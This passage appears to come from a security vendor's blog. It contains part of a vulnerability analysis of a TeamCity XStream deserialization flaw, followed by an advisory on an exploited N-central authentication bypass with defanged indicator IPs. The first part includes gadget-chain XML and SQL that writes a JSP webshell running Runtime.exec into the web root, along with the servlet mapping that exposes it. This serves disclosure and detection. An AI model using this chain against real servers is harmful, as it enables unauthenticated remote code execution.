      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

poc2.png

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

CVE-2026-18577: N-able N-central Authentication Bypass Exploited in the Wild

By: Rapid7
4 August 2026 at 07:11

Overview

On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.

N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.

According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.

On August 6, 2026, N-able released a second hotfix to further address CVE-2026-18577. This second hotfix supersedes the original hotfix published on August 2, 2026, and provides additional mitigations against the same vulnerability. Customers who have not yet applied the new 2026.3 Hotfix 2 should do so on an urgent basis.

Mitigation guidance

Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.

Affected versions:

  • All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 2.

Fixed version:

  • N-able N-central 2026.3.1 Hotfix 2 (2026.3.1.10).

The vendor also recommends:

  • Upgrading N-central agents after applying the server hotfix.

  • Reviewing systems for indicators of compromise.

  • Contacting N-able Support immediately if evidence of compromise is discovered.

  • Engaging internal incident response teams if malicious activity is identified.

For further information, see the vendor advisory.

IOCs

N-able has published several artifacts that administrators should investigate during incident response.

Endpoint Artifacts:

  • Presence of a cloudflared service.

  • A suspicious svchost.exe located within the user's Documents folder.

Network Indicators:

  • Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:

    • 173[.]249[.]252[.]200

    • 87[.]249[.]138[.]34

    • 37[.]19[.]210[.]32

    • 37[.]153[.]90[.]88

    • 92[.]118[.]112[.]181

    • 68[.]235[.]46[.]214 

Organizations should also review:

  • Authentication logs

  • Administrative account creation or modification

  • Take Control session activity

  • Remote management logs

  • Windows service installation events

To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.

Updates

  • August 4, 2026: Initial publication.

  • August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
  • August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.
  • August 14, 2026: Updated the Overview and Mitigation guidance sections to include the new vendor guidance that 2026.3 Hotfix 2 supersedes the original 2026.3 Hotfix 1.

❌
❌